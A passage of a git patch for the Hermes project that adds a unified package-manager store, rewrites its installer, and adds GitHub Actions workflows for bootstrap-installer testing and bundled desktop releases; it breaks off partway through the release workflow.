From 3d12e86ef13ec5fdbb4e1778ac3f3bf5ad853a74 Mon Sep 17 00:00:00 2001 From: ethernet Date: Sat, 29 Aug 2026 21:23:27 -0400 Subject: [PATCH] =?UTF-8?q?feat(pm):=20unified=20package=20manager=20?= =?UTF-8?q?=E2=80=94=20pm=20store=20foundation?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Introduce the pm store: a unified, hash-verified package store that replaces lazy_deps and the old installer's ad-hoc tool downloads. Store tools are provisioned on PATH (ffmpeg, node/npm via pinned uv), with a resumable 8-way downloader, verify() returning failure reasons, and adopt() made EPERM-safe. chromium ships in the payload for every target. The 3600-line install.sh is replaced by a staged bootstrapper (heavy deps are pm's job after this); setup-hermes.sh, Dockerfile and nix pin tables are rewired onto the store. Old install-script tests, lazy_deps/managed_uv/build_info, and the ps1/bash installer test batteries are removed with the machinery they tested. Rebuilt from ethie/pm onto upstream/main (ac6c8028e0) after the utf-8-sig sweep. 16 hot files (main also churned them) hand-merged: platform adapters, main.py, electron/main.ts, tui_gateway/server.py, cua_backend, installer-tests workflow, install.sh (full rewrite), setup-hermes.sh, plugins doc. --- .github/actions/detect-changes/action.yml | 3 + .github/workflows/bootstrap-installer.yml | 137 + .github/workflows/ci.yaml | 11 + .github/workflows/desktop-bundled-release.yml | 675 +++ Dockerfile | 127 +- activate | 155 + activate.ps1 | 75 + agent/anthropic_adapter.py | 13 +- agent/azure_identity_adapter.py | 8 +- agent/bedrock_adapter.py | 8 +- agent/deadline.py | 14 +- agent/lsp/servers.py | 34 +- agent/model_metadata.py | 6 +- agent/monitoring/gateway_health_export.py | 8 +- agent/trace_upload.py | 8 +- agent/vertex_adapter.py | 8 +- apps/desktop/electron-builder.config.cjs | 254 ++ apps/desktop/electron/backend-env.test.ts | 169 +- apps/desktop/electron/backend-env.ts | 87 +- apps/desktop/electron/backend-probes.ts | 3 +- apps/desktop/electron/find-git-bash.test.ts | 54 - apps/desktop/electron/find-git-bash.ts | 67 - apps/desktop/electron/main.ts | 1013 +++-- apps/desktop/electron/payload-backend.test.ts | 196 + apps/desktop/electron/payload-backend.ts | 172 + .../electron/update-root-policy.test.ts | 66 + apps/desktop/electron/update-root-policy.ts | 94 + .../electron/windows-hermes-path.test.ts | 78 +- apps/desktop/electron/windows-hermes-path.ts | 117 +- apps/desktop/scripts/after-pack.mjs | 12 + apps/desktop/scripts/batch-sign-binaries.mjs | 414 ++ .../scripts/batch-sign-binaries.test.mjs | 336 ++ apps/desktop/scripts/before-build.mjs | 100 + apps/desktop/scripts/cli-launchers.test.mjs | 115 + apps/desktop/scripts/gen-msix-manifest.mjs | 115 + .../scripts/msix-manifest-roundtrip.test.mjs | 116 + apps/desktop/scripts/sign-msix.mjs | 151 + apps/desktop/scripts/stage-payload.mjs | 47 + .../src/components/boot-failure-overlay.tsx | 6 +- constraints-termux.txt | 15 - cron/scheduler.py | 129 +- docker/stage2-hook.sh | 64 +- gateway/platform_registry.py | 2 +- gateway/relay/ws_transport.py | 2 +- gateway/run.py | 37 +- hermes_bootstrap.py | 30 - hermes_cli/_install_repair.py | 168 +- hermes_cli/_launchers.py | 325 ++ hermes_cli/_subprocess_compat.py | 24 + hermes_cli/backup.py | 4 +- hermes_cli/cli_commands_mixin.py | 2 +- hermes_cli/dep_ensure.py | 195 +- hermes_cli/doctor.py | 50 +- hermes_cli/gateway.py | 62 +- hermes_cli/linux_desktop_entry.py | 19 +- hermes_cli/macos_tcc_anchor.py | 6 +- hermes_cli/main.py | 1017 ++--- hermes_cli/npm_engine.py | 240 +- hermes_cli/plugins_cmd.py | 10 +- hermes_cli/profile_distribution.py | 30 +- hermes_cli/profiles.py | 7 +- hermes_cli/setup.py | 11 +- hermes_cli/tools_config.py | 11 +- hermes_cli/version_info.py | 272 ++ hermes_cli/web_server.py | 30 +- nix/lib.nix | 2 +- nix/npm-12-0-2.nix | 29 - nix/npm-pinned.nix | 36 + nix/pm-packages.nix | 69 + plugins/memory/hindsight/__init__.py | 94 +- plugins/memory/hindsight/plugin.yaml | 3 +- plugins/memory/honcho/cli.py | 23 +- plugins/memory/honcho/client.py | 18 +- plugins/memory/honcho/plugin.yaml | 3 +- plugins/memory/mem0/__init__.py | 8 +- plugins/memory/mem0/_setup.py | 37 +- plugins/memory/mem0/plugin.yaml | 3 +- plugins/memory/openviking/plugin.yaml | 2 - plugins/memory/retaindb/plugin.yaml | 2 - plugins/memory/supermemory/__init__.py | 8 +- plugins/memory/supermemory/plugin.yaml | 3 +- plugins/platforms/dingtalk/adapter.py | 4 +- plugins/platforms/discord/adapter.py | 10 +- plugins/platforms/matrix/adapter.py | 29 +- plugins/platforms/photon/adapter.py | 62 +- plugins/platforms/photon/cli.py | 9 +- plugins/platforms/photon/plugin.yaml | 4 - plugins/platforms/teams/adapter.py | 19 +- plugins/platforms/telegram/adapter.py | 8 +- plugins/platforms/wecom/callback_adapter.py | 4 +- plugins/platforms/whatsapp/adapter.py | 30 +- plugins/video_gen/fal/__init__.py | 2 +- plugins/web/ddgs/provider.py | 11 + plugins/web/exa/provider.py | 8 +- plugins/web/firecrawl/provider.py | 4 +- plugins/web/parallel/provider.py | 6 +- pm/__init__.py | 60 + pm/cli.py | 558 +++ pm/downloader.py | 427 ++ pm/ensure.py | 538 +++ pm/extras.py | 122 + pm/lock.json | 381 ++ pm/lock.py | 201 + pm/package.py | 225 + pm/packages.py | 778 ++++ pm/paths.py | 52 + pm/registry.py | 45 + pm/shell.py | 84 + pm/store.py | 344 ++ pyproject.toml | 37 +- scripts/build-bundled-desktop.mjs | 439 ++ scripts/ci/classify_changes.py | 13 + scripts/ci/test_install_ps1_cli_launchers.ps1 | 189 +- scripts/desktop-cli/cli-entrypoints.mjs | 130 + scripts/desktop-cli/launcher-wrapper.py | 106 + scripts/desktop-cli/mint-launchers.py | 112 + scripts/gen-bootstrap-pins.py | 203 + scripts/install.sh | 3966 ++--------------- scripts/install_psutil_android.py | 102 - scripts/lib/node-bootstrap.sh | 437 -- scripts/release.py | 552 ++- scripts/smoke-payload.sh | 55 + ...test-install-ps1-gitbash-compatibility.ps1 | 120 - scripts/tests/test-install-ps1-longpath.ps1 | 323 -- .../tests/test-install-ps1-stage-protocol.ps1 | 4 +- scripts/verify-bootstrap-version-stamp.py | 187 + setup-hermes.ps1 | 133 + setup-hermes.sh | 528 +-- .../google-workspace/scripts/setup.py | 2 +- test.txt | Bin 0 -> 52214 bytes .../agent/lsp/test_install_and_lint_fixes.py | 9 +- tests/agent/lsp/test_python_discovery.py | 83 + tests/agent/lsp/test_workspace.py | 13 +- tests/agent/test_azure_identity_adapter.py | 9 +- tests/ci/test_classify_changes.py | 28 +- tests/ci/test_desktop_cli_entrypoints.py | 61 + .../ci/test_desktop_release_tag_admission.py | 225 + tests/compat/old_updater_surface.json | 162 + tests/conftest.py | 4 +- tests/cron/test_cron_script.py | 46 +- tests/cron/test_cron_workdir.py | 5 +- tests/cron/test_file_permissions.py | 15 +- tests/cron/test_media_delivery_parity.py | 2 +- tests/cron/test_script_claim_heartbeat.py | 74 +- tests/gateway/test_discord_voice_mixer.py | 2 +- tests/gateway/test_feishu_lazy_import.py | 4 +- tests/gateway/test_matrix.py | 18 +- tests/gateway/test_matrix_plugin_setup.py | 10 +- tests/gateway/test_pm_activation.py | 120 + tests/gateway/test_teams.py | 14 +- tests/gateway/test_teams_dotenv_isolation.py | 11 +- .../test_telegram_lazy_install_typehandler.py | 4 +- tests/hermes_cli/conftest.py | 18 + tests/hermes_cli/test_certifi_repair.py | 59 - tests/hermes_cli/test_dep_ensure.py | 168 +- tests/hermes_cli/test_doctor.py | 59 + .../test_ensure_windows_bin_launchers.py | 295 +- .../test_lazy_refresh_venv_repair.py | 159 +- tests/hermes_cli/test_linux_desktop_entry.py | 12 +- tests/hermes_cli/test_memory_setup.py | 23 +- .../test_memory_setup_provider_arg.py | 80 +- tests/hermes_cli/test_npm_engine.py | 280 +- .../hermes_cli/test_psutil_android_extract.py | 126 - .../test_uninstall_windows_bin_launchers.py | 72 +- tests/hermes_cli/test_update_autostash.py | 34 +- ..._update_skip_unchanged_editable_install.py | 108 - tests/hermes_cli/test_update_zip_two_phase.py | 7 - .../plugins/memory/test_hindsight_provider.py | 61 +- tests/plugins/memory/test_mem0_v3.py | 2 +- .../memory/test_memory_lazy_install.py | 172 +- .../memory/test_supermemory_provider.py | 2 +- .../plugins/platforms/photon/test_inbound.py | 6 +- .../photon/test_npm_error_log_regression.py | 14 +- tests/pm/__init__.py | 0 tests/pm/_range_server.py | 112 + tests/pm/test_activate_scripts.py | 337 ++ tests/pm/test_archive_safety.py | 296 ++ tests/pm/test_develop_env.py | 108 + tests/pm/test_downloader.py | 426 ++ tests/pm/test_extras.py | 109 + tests/pm/test_pm_authority.py | 419 ++ tests/pm/test_pm_core.py | 898 ++++ tests/pm/test_store_resume.py | 108 + tests/pm/test_zip_symlinks.py | 186 + tests/scripts/test_desktop_cli_wrapper.py | 191 + tests/scripts/test_mint_launchers.py | 178 + .../test_verify_bootstrap_version_stamp.py | 144 + tests/test_bootstrap_pins_fragment.py | 148 + tests/test_hermes_constants.py | 546 --- ...est_install_autostash_conflict_recovery.py | 195 - tests/test_install_commit_pin_rollback.py | 138 - tests/test_install_diverged_update.py | 67 - tests/test_install_lockfile_churn.py | 110 - tests/test_install_macos_launcher.py | 89 - tests/test_install_no_initial_commit.py | 136 - tests/test_install_ps1_ascii_only.py | 55 - tests/test_install_ps1_browser_install.py | 72 - tests/test_install_ps1_managed_node_swap.py | 79 - tests/test_install_ps1_native_stderr_eap.py | 94 - tests/test_install_ps1_node_path_for_npm.py | 43 - .../test_install_ps1_python_fallback_venv.py | 113 - tests/test_install_ps1_resolver_strictmode.py | 71 - tests/test_install_ps1_uv_install_fallback.py | 130 - tests/test_install_ps1_uv_powershell_host.py | 77 - tests/test_install_ps1_venv_process_tree.py | 182 - .../test_install_ps1_venv_recreate_safety.py | 75 - tests/test_install_ps1_venv_rename_abort.py | 64 - ...t_install_ps1_venv_transaction_boundary.py | 106 - ...est_install_ps1_web_server_syntax_probe.py | 49 - tests/test_install_scripts_computer_use.py | 76 - tests/test_install_sh_acp_launcher.py | 214 - tests/test_install_sh_bootstrap_marker.py | 109 - tests/test_install_sh_browser_install.py | 249 -- tests/test_install_sh_install_method_stamp.py | 40 - tests/test_install_sh_node_deps_failure.py | 145 - tests/test_install_sh_node_global_prefix.py | 58 - tests/test_install_sh_node_npm_check.py | 42 - ...test_install_sh_pythonpath_sanitization.py | 30 - ...test_install_sh_root_fhs_uv_python_path.py | 59 - .../test_install_sh_setup_wizard_tty_probe.py | 91 - tests/test_install_sh_symlink_stomp.py | 122 - .../test_install_sh_termux_network_prereqs.py | 22 - tests/test_install_sh_uv_lock_config.py | 10 +- tests/test_install_unmerged_index.py | 191 - tests/test_managed_runtime_resolution.py | 91 +- tests/test_packaging_metadata.py | 241 +- tests/test_powershell_script_syntax.py | 91 + tests/test_project_metadata.py | 191 +- tests/test_termux_all_extra_compat.py | 23 - ...test_windows_subprocess_no_window_flags.py | 34 +- tests/tools/test_a2a_reason_roundtrip.py | 23 +- tests/tools/test_approval_timeout_overflow.py | 12 +- .../test_browser_chromium_autoinstall.py | 13 +- tests/tools/test_browser_chromium_check.py | 12 +- tests/tools/test_browser_use_cli.py | 36 +- tests/tools/test_computer_use.py | 26 +- .../test_dockerfile_immutable_install.py | 36 +- tests/tools/test_fal_common.py | 18 +- tests/tools/test_find_shell.py | 99 +- tests/tools/test_lazy_deps.py | 485 -- tests/tools/test_lazy_deps_durable_target.py | 295 -- tests/tools/test_lazy_deps_managed.py | 120 - tests/tools/test_local_env_blocklist.py | 97 +- tests/tools/test_pre_transcription_hook.py | 2 +- tests/tools/test_read_extract.py | 4 +- tests/tools/test_tts_pythonpath_fallback.py | 38 +- tests/tools/test_wake_word.py | 52 +- tests/tui_gateway/test_protocol.py | 2 +- tools/approval.py | 23 +- tools/browser_tool.py | 34 +- tools/browser_use_cli.py | 51 +- tools/checkpoint_manager.py | 58 +- tools/code_kernel.py | 2 +- tools/computer_use/cua_backend.py | 95 +- tools/environments/daytona.py | 12 +- tools/environments/local.py | 77 +- tools/environments/modal.py | 7 +- tools/environments/vercel_sandbox.py | 7 +- tools/fal_common.py | 18 +- tools/read_extract.py | 2 +- tools/skills_tool.py | 29 + tools/transcription_tools.py | 17 +- tools/tts_tool.py | 24 +- tools/wake_word.py | 49 +- tools/working_diff.py | 46 +- tui_gateway/methods_tools.py | 11 +- tui_gateway/server.py | 15 +- ui-tui/src/gatewayClient.ts | 30 +- .../adding-platform-adapters.md | 2 +- website/docs/developer-guide/plugins/index.md | 8 +- .../web-search-provider-plugin.md | 2 +- website/docs/user-guide/security.md | 4 +- 272 files changed, 18065 insertions(+), 14721 deletions(-) create mode 100644 .github/workflows/bootstrap-installer.yml create mode 100644 .github/workflows/desktop-bundled-release.yml create mode 100644 activate create mode 100644 activate.ps1 create mode 100644 apps/desktop/electron-builder.config.cjs delete mode 100644 apps/desktop/electron/find-git-bash.test.ts delete mode 100644 apps/desktop/electron/find-git-bash.ts create mode 100644 apps/desktop/electron/payload-backend.test.ts create mode 100644 apps/desktop/electron/payload-backend.ts create mode 100644 apps/desktop/electron/update-root-policy.test.ts create mode 100644 apps/desktop/electron/update-root-policy.ts create mode 100644 apps/desktop/scripts/batch-sign-binaries.mjs create mode 100644 apps/desktop/scripts/batch-sign-binaries.test.mjs create mode 100644 apps/desktop/scripts/cli-launchers.test.mjs create mode 100644 apps/desktop/scripts/gen-msix-manifest.mjs create mode 100644 apps/desktop/scripts/msix-manifest-roundtrip.test.mjs create mode 100644 apps/desktop/scripts/sign-msix.mjs create mode 100644 apps/desktop/scripts/stage-payload.mjs delete mode 100644 constraints-termux.txt create mode 100644 hermes_cli/_launchers.py create mode 100644 hermes_cli/version_info.py delete mode 100644 nix/npm-12-0-2.nix create mode 100644 nix/npm-pinned.nix create mode 100644 nix/pm-packages.nix create mode 100644 pm/__init__.py create mode 100644 pm/cli.py create mode 100644 pm/downloader.py create mode 100644 pm/ensure.py create mode 100644 pm/extras.py create mode 100644 pm/lock.json create mode 100644 pm/lock.py create mode 100644 pm/package.py create mode 100644 pm/packages.py create mode 100644 pm/paths.py create mode 100644 pm/registry.py create mode 100644 pm/shell.py create mode 100644 pm/store.py create mode 100644 scripts/build-bundled-desktop.mjs create mode 100644 scripts/desktop-cli/cli-entrypoints.mjs create mode 100644 scripts/desktop-cli/launcher-wrapper.py create mode 100644 scripts/desktop-cli/mint-launchers.py create mode 100644 scripts/gen-bootstrap-pins.py delete mode 100755 scripts/install_psutil_android.py delete mode 100644 scripts/lib/node-bootstrap.sh create mode 100644 scripts/smoke-payload.sh delete mode 100644 scripts/tests/test-install-ps1-gitbash-compatibility.ps1 delete mode 100644 scripts/tests/test-install-ps1-longpath.ps1 create mode 100644 scripts/verify-bootstrap-version-stamp.py create mode 100644 setup-hermes.ps1 create mode 100644 test.txt create mode 100644 tests/agent/lsp/test_python_discovery.py create mode 100644 tests/ci/test_desktop_cli_entrypoints.py create mode 100644 tests/ci/test_desktop_release_tag_admission.py create mode 100644 tests/compat/old_updater_surface.json create mode 100644 tests/gateway/test_pm_activation.py delete mode 100644 tests/hermes_cli/test_psutil_android_extract.py delete mode 100644 tests/hermes_cli/test_update_skip_unchanged_editable_install.py create mode 100644 tests/pm/__init__.py create mode 100644 tests/pm/_range_server.py create mode 100644 tests/pm/test_activate_scripts.py create mode 100644 tests/pm/test_archive_safety.py create mode 100644 tests/pm/test_develop_env.py create mode 100644 tests/pm/test_downloader.py create mode 100644 tests/pm/test_extras.py create mode 100644 tests/pm/test_pm_authority.py create mode 100644 tests/pm/test_pm_core.py create mode 100644 tests/pm/test_store_resume.py create mode 100644 tests/pm/test_zip_symlinks.py create mode 100644 tests/scripts/test_desktop_cli_wrapper.py create mode 100644 tests/scripts/test_mint_launchers.py create mode 100644 tests/scripts/test_verify_bootstrap_version_stamp.py create mode 100644 tests/test_bootstrap_pins_fragment.py delete mode 100644 tests/test_install_autostash_conflict_recovery.py delete mode 100644 tests/test_install_commit_pin_rollback.py delete mode 100644 tests/test_install_diverged_update.py delete mode 100644 tests/test_install_lockfile_churn.py delete mode 100644 tests/test_install_macos_launcher.py delete mode 100644 tests/test_install_no_initial_commit.py delete mode 100644 tests/test_install_ps1_ascii_only.py delete mode 100644 tests/test_install_ps1_browser_install.py delete mode 100644 tests/test_install_ps1_managed_node_swap.py delete mode 100644 tests/test_install_ps1_native_stderr_eap.py delete mode 100644 tests/test_install_ps1_node_path_for_npm.py delete mode 100644 tests/test_install_ps1_python_fallback_venv.py delete mode 100644 tests/test_install_ps1_resolver_strictmode.py delete mode 100644 tests/test_install_ps1_uv_install_fallback.py delete mode 100644 tests/test_install_ps1_uv_powershell_host.py delete mode 100644 tests/test_install_ps1_venv_process_tree.py delete mode 100644 tests/test_install_ps1_venv_recreate_safety.py delete mode 100644 tests/test_install_ps1_venv_rename_abort.py delete mode 100644 tests/test_install_ps1_venv_transaction_boundary.py delete mode 100644 tests/test_install_ps1_web_server_syntax_probe.py delete mode 100644 tests/test_install_scripts_computer_use.py delete mode 100644 tests/test_install_sh_acp_launcher.py delete mode 100644 tests/test_install_sh_bootstrap_marker.py delete mode 100644 tests/test_install_sh_browser_install.py delete mode 100644 tests/test_install_sh_install_method_stamp.py delete mode 100644 tests/test_install_sh_node_deps_failure.py delete mode 100644 tests/test_install_sh_node_global_prefix.py delete mode 100644 tests/test_install_sh_node_npm_check.py delete mode 100644 tests/test_install_sh_pythonpath_sanitization.py delete mode 100644 tests/test_install_sh_root_fhs_uv_python_path.py delete mode 100644 tests/test_install_sh_setup_wizard_tty_probe.py delete mode 100644 tests/test_install_sh_symlink_stomp.py delete mode 100644 tests/test_install_sh_termux_network_prereqs.py delete mode 100644 tests/test_install_unmerged_index.py create mode 100644 tests/test_powershell_script_syntax.py delete mode 100644 tests/test_termux_all_extra_compat.py delete mode 100644 tests/tools/test_lazy_deps.py delete mode 100644 tests/tools/test_lazy_deps_durable_target.py delete mode 100644 tests/tools/test_lazy_deps_managed.py diff --git a/.github/actions/detect-changes/action.yml b/.github/actions/detect-changes/action.yml index ade05ba124..dcc8595932 100644 --- a/.github/actions/detect-changes/action.yml +++ b/.github/actions/detect-changes/action.yml @@ -48,6 +48,9 @@ outputs: installer: description: Run the PowerShell installer tests on a Windows runner. value: ${{ steps.classify.outputs.installer }} + bootstrap: + description: Run the bootstrap installer lane (install.sh sandbox + stamp verification). + value: ${{ steps.classify.outputs.bootstrap }} rust: description: Run `cargo test` for the Tauri bootstrap installer. value: ${{ steps.classify.outputs.rust }} diff --git a/.github/workflows/bootstrap-installer.yml b/.github/workflows/bootstrap-installer.yml new file mode 100644 index 0000000000..3e9a00846f --- /dev/null +++ b/.github/workflows/bootstrap-installer.yml @@ -0,0 +1,137 @@ +name: Bootstrap installer + +# Exercises the bootstrap-installer path on PRs that can affect it: the +# POSIX shell installer (scripts/install.sh), its generated pin fragments, +# and the version stamp the `complete` stage ships. The PowerShell installer +# keeps its own Windows-only lane (installer-tests.yml); this lane runs the +# cheap cross-checks plus a real sandboxed install against the PR checkout. +# +# Deliberately minimal: the heavy `python-deps` stage (uv sync of every +# extra) is skipped — the pm/uv machinery under it is covered by the Python +# lanes, and pulling the whole dependency graph per installer PR would make +# this lane slower than everything it protects. + +on: + workflow_call: + +permissions: + contents: read + +concurrency: + group: bootstrap-installer-${{ github.ref }} + cancel-in-progress: true + +jobs: + posix: + name: install.sh sandbox install + stamp verification + runs-on: ubuntu-24.04 + timeout-minutes: 15 + env: + INSTALL_DIR: ${{ runner.temp }}/bootstrap-install + HERMES_HOME: ${{ runner.temp }}/hermes-home + HERMES_RUNTIME_DIR: ${{ runner.temp }}/hermes-tools + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + + - name: Stage manifest is well-formed protocol v1 + shell: bash + run: | + bash scripts/install.sh --manifest | python3 -c ' + import json, sys + m = json.load(sys.stdin) + assert m["protocol_version"] == 1, m + names = [s["name"] for s in m["stages"]] + expected = ["prerequisites", "repository", "venv", "python-deps", + "node-deps", "path", "config", "setup", "gateway", "complete"] + assert names == expected, names + assert m["stages"][-1]["name"] == "complete" + print("stage manifest ok:", " -> ".join(names)) + ' + + - name: Generated bootstrap pins match pm/lock.json + shell: bash + run: python3 scripts/gen-bootstrap-pins.py --check + + - name: Publish the PR checkout as the install source + id: source + shell: bash + run: | + # The installer clones --branch ; a PR checkout is a + # detached HEAD, so mirror it onto a named branch first. + mirror="$RUNNER_TEMP/source-mirror.git" + git init --bare "$mirror" + sha="$(git rev-parse HEAD)" + git push "$mirror" "HEAD:refs/heads/ci-under-test" + echo "mirror=$mirror" >> "$GITHUB_OUTPUT" + echo "sha=$sha" >> "$GITHUB_OUTPUT" + + - name: Run the installer stages against the PR checkout + shell: bash + env: + HERMES_REPO_URL: ${{ steps.source.outputs.mirror }} + run: | + set -euo pipefail + sha="${{ steps.source.outputs.sha }}" + run_stage() { + echo "::group::stage $1" + bash scripts/install.sh --branch ci-under-test --commit "$sha" \ + --non-interactive --stage "$1" --json + echo "::endgroup::" + } + run_stage prerequisites + run_stage repository + run_stage venv + # python-deps (uv sync --extra all) is deliberately skipped — the + # comment at the top of this file explains why. + run_stage node-deps + run_stage path + run_stage config + run_stage complete + test -f "$INSTALL_DIR/.hermes-bootstrap-complete" + + - name: Verify the shipped version stamp + shell: bash + run: | + python3 scripts/verify-bootstrap-version-stamp.py \ + --stamp "$INSTALL_DIR/.hermes-bootstrap-complete" \ + --repo "$INSTALL_DIR" \ + --expect-commit "${{ steps.source.outputs.sha }}" \ + --expect-branch ci-under-test + + - name: The pinned commit is on the branch the installer cloned + shell: bash + run: | + # The stamp must describe the bytes actually checked out: the + # installed repo's HEAD is exactly the commit the installer pinned. + head="$(git -C "$INSTALL_DIR" rev-parse HEAD)" + test "$head" = "${{ steps.source.outputs.sha }}" \ + || { echo "::error::installed HEAD $head != pinned ${{ steps.source.outputs.sha }}"; exit 1; } + + windows: + name: install.ps1 protocol surface + runs-on: windows-latest + timeout-minutes: 10 + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + + # Windows PowerShell 5.1 is what ships with Windows and what `irm | iex` + # lands in for most users — the protocol surface must parse there. + - name: Protocol version + stage manifest (Windows PowerShell 5.1) + shell: powershell + run: | + $pv = powershell -NoProfile -ExecutionPolicy Bypass -File scripts/install.ps1 -ProtocolVersion + if ("$pv" -ne "1") { Write-Error "protocol version '$pv' != 1"; exit 1 } + $json = powershell -NoProfile -ExecutionPolicy Bypass -File scripts/install.ps1 -Manifest | ConvertFrom-Json + if ($json.protocol_version -ne 1) { Write-Error "manifest protocol_version != 1"; exit 1 } + $names = @($json.stages | ForEach-Object { $_.name }) + if ($names -notcontains "complete") { Write-Error "manifest missing complete stage"; exit 1 } + Write-Host "stage manifest ok: $($names -join ' -> ')" + + - name: Protocol version + stage manifest (pwsh 7) + shell: pwsh + run: | + $pv = pwsh -NoProfile -File scripts/install.ps1 -ProtocolVersion + if ("$pv" -ne "1") { Write-Error "protocol version '$pv' != 1"; exit 1 } + $json = pwsh -NoProfile -File scripts/install.ps1 -Manifest | ConvertFrom-Json + if ($json.protocol_version -ne 1) { Write-Error "manifest protocol_version != 1"; exit 1 } + Write-Host "stage manifest ok (pwsh 7)" diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index caf4e2d3cb..b0771351ec 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -49,6 +49,7 @@ jobs: uv_lock: ${{ steps.classify.outputs.uv_lock }} npm_lock: ${{ steps.classify.outputs.npm_lock }} installer: ${{ steps.classify.outputs.installer }} + bootstrap: ${{ steps.classify.outputs.bootstrap }} rust: ${{ steps.classify.outputs.rust }} docker_meta: ${{ steps.classify.outputs.docker_meta }} mcp_catalog: ${{ steps.classify.outputs.mcp_catalog }} @@ -114,6 +115,15 @@ jobs: if: needs.detect.outputs.rust == 'true' uses: ./.github/workflows/rust-tests.yml + bootstrap-installer: + name: Bootstrap installer + needs: detect + # The bootstrap-installer path: install.sh, the pin fragments it embeds, + # and the version stamp it ships. The PowerShell installer has its own + # Windows-only lane above (installer-tests). + if: needs.detect.outputs.bootstrap == 'true' + uses: ./.github/workflows/bootstrap-installer.yml + e2e-desktop: name: Desktop E2E needs: detect @@ -223,6 +233,7 @@ jobs: - js-tests - installer-tests - rust-tests + - bootstrap-installer - e2e-desktop - docs-site - history-check diff --git a/.github/workflows/desktop-bundled-release.yml b/.github/workflows/desktop-bundled-release.yml new file mode 100644 index 0000000000..af1a6cd681 --- /dev/null +++ b/.github/workflows/desktop-bundled-release.yml @@ -0,0 +1,675 @@ +name: Desktop Bundled Release + +# Builds the bundled desktop installer for each (os, arch) target. +# +# tag admission (shape + pyproject lockstep + ancestry-on-origin/main, +# resolved to an IMMUTABLE full SHA) → 6-target matrix → pm bundle +# → stage artifacts to R2 (releases/tag//) → finalize job merges +# the darwin feeds (releases/darwin//-mac.yml + dmg/zip), +# the msixbundle job stages the win32 App Installer feeds +# (releases/win32//*.appinstaller + *.msixbundle) → builds table. +# The GitHub release keeps the notes only — no binaries. +# +# Feed layout (matches apps/desktop/electron/app-updater.ts's arms): +# releases/win32//.appinstaller App Installer feed +# releases/win32//*.msixbundle (msixbundle job) +# releases/darwin//*-mac.yml electron-updater (dmg/zip) +# The finalize + msixbundle jobs write the feeds ONCE after the whole matrix +# is green, so a failed leg can never publish a partial channel. +# +# Payload staging is `hermes pm bundle` on the native runner. There is +# no cross-target staging. Signing and notarization are a later commit; +# this file produces unsigned artifacts on forks. When the +# release-signing environment has the Apple and Azure identifiers, +# the same job signs and notarizes. +# +# scripts/build-bundled-desktop.mjs is the one driver. Local and CI run +# the same command. This workflow adds caching and upload only. +# +# Triggers: workflow_dispatch with an explicit tag. A tag push does not +# start this workflow (a bot-pushed nightly tag would never fire). +# +# R2 secrets (repo-level or the release-signing environment): the R2 +# account id + an R2 API token (S3-compatible) with read/write on the +# release bucket; CLOUDFLARE_R2_BUCKET and CLOUDFLARE_R2_PUBLIC_URL are +# non-secret vars. scripts/r2-release.mjs derives the S3 endpoint from +# the account id and needs only node — no npm ci, no extra deps. + +on: + workflow_dispatch: + inputs: + tag: + description: 'Release tag to bundle (vX.Y.Z or vX.Y.0-nightly.YYYYMMDDHHMMSS). Must exist on the repo.' + required: true + type: string + upload_release: + description: 'Upload artifacts to the R2 release bucket (staging + feeds)' + required: false + type: boolean + default: false + +permissions: + contents: write + id-token: write + +concurrency: + group: desktop-bundled-release-${{ inputs.tag }} + cancel-in-progress: false + +jobs: + validate: + name: Validate the tag + runs-on: ubuntu-24.04 + timeout-minutes: 5 + outputs: + # The tag's commit, resolved ONCE here and exported as a full SHA. + # Every privileged job checks out THIS — never the tag ref, which a + # force-push can move between the validate and build jobs. + sha: ${{ steps.admission.outputs.sha }} + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + ref: ${{ inputs.tag }} + # Full history: the admission gate below runs merge-base against + # origin/main, which needs the shared ancestry, not a depth-1 tip. + fetch-depth: 0 + fetch-tags: true + + - name: Validate tag shape, pyproject lockstep, and ancestry on origin/main + id: admission + env: + TAG: ${{ inputs.tag }} + run: | + case "$TAG" in + v[0-9]*.[0-9]*.[0-9]*-nightly.20[0-9][0-9][0-9][0-9][0-9][0-9]*) + echo "nightly tag: $TAG" + ;; + v[0-9]*.[0-9]*.[0-9]*) + echo "tag: $TAG" + PYVER=$(sed -n 's/^version = "\([^"]*\)"/\1/p' pyproject.toml | head -1) + if [ "$TAG" != "v$PYVER" ]; then + echo "::error::tag $TAG does not match pyproject.toml version $PYVER" + exit 1 + fi + ;; + *) + echo "::error::'$TAG' is not a release tag (vX.Y.Z or vX.Y.0-nightly.YYYYMMDDHHMMSS)" + exit 1 + ;; + esac + SHA="$(git rev-parse --verify "$TAG^{commit}")" + if [ -z "$SHA" ]; then + echo "::error::could not resolve $TAG to a commit" + exit 1 + fi + # A correctly-shaped tag on an unreviewed commit is NOT a valid + # build input for a release-signing workflow: only a commit that + # is already an ancestor of origin/main may be built. + git fetch origin main + if ! git merge-base --is-ancestor "$SHA" origin/main; then + echo "::error::tag $TAG (${SHA:0:12}) is not an ancestor of origin/main — refusing to build from an unreviewed commit" + exit 1 + fi + echo "tag $TAG resolves to $SHA (on origin/main)" + echo "sha=$SHA" >> "$GITHUB_OUTPUT" + + build: + name: bundled ${{ matrix.target.label }} + needs: validate + runs-on: ${{ matrix.target.runner }} + environment: release-signing + timeout-minutes: 90 + strategy: + fail-fast: false + matrix: + target: + - label: linux-x64 + runner: ubuntu-24.04 + - label: linux-arm64 + runner: ubuntu-24.04-arm + - label: darwin-arm64 + runner: macos-15 + - label: darwin-x64 + runner: macos-15-intel + - label: win32-x64 + runner: windows-2025 + - label: win32-arm64 + runner: windows-11-arm + env: + HERMES_DESKTOP_VARIANT: bundled + HERMES_PAYLOAD_TAG: ${{ inputs.tag }} + ELECTRON_BUILDER_CACHE: ${{ github.workspace }}/.cache/electron-builder + ELECTRON_CACHE: ${{ github.workspace }}/.cache/electron + electron_config_cache: ${{ github.workspace }}/.cache/electron + CLOUDFLARE_R2_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_R2_ACCOUNT_ID }} + CLOUDFLARE_R2_ACCESS_KEY_ID: ${{ secrets.CLOUDFLARE_R2_ACCESS_KEY_ID }} + CLOUDFLARE_R2_SECRET_ACCESS_KEY: ${{ 